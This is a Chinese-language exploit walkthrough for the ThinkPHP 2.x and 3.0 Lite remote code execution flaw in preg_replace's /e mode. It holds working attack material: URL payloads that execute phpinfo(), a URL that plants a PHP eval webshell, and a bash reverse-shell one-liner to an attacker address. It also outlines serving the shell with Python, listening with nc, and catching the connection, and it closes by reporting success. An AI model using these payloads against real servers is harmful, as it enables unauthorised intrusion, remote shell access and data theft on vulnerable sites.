警告
请勿使用本文提到的内容违反法律。
本文不提供任何担保
目录
ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。由于 ThinkPHP 中没有对控制器进行检测,导致在没有开启强制路由的情况下攻击者可以通过此漏洞进行远程命令执行。
ThinkPHP2.x版本中,使用 preg_replace的/e模式匹配路由:
- $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
- $paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
- ThinkPHP 2.x
- ThinkPHP3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
由于是preg_replace这个函数引起的漏洞,所以先来看看preg_replace这个函数
这个函数是个替换函数,而且支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞:
- e -->配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行
- /e-->可执行模式,此为PHP专有参数,例如 preg_replace函数。
沙箱地址: PHP Sandbox - Execute PHP code online through your browser
<?php @preg_replace('/test/e','print_r("xiaofeng");','just test');?>

7.0以上的版本 存在/e不可以:

- /index.php?s=/index/index/name/${@phpinfo()}
- /index.php?s=/index/index/name/$%7B@phpinfo()%7D

构造一句话木马:
http://xxxxx:8080/index.php?s=/index/index/xxx/${@print(eval($_POST[1]))}



bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
写shell,python开启http服务:


nc开启监听:

进行执行,反弹shell:


成功反弹到shell!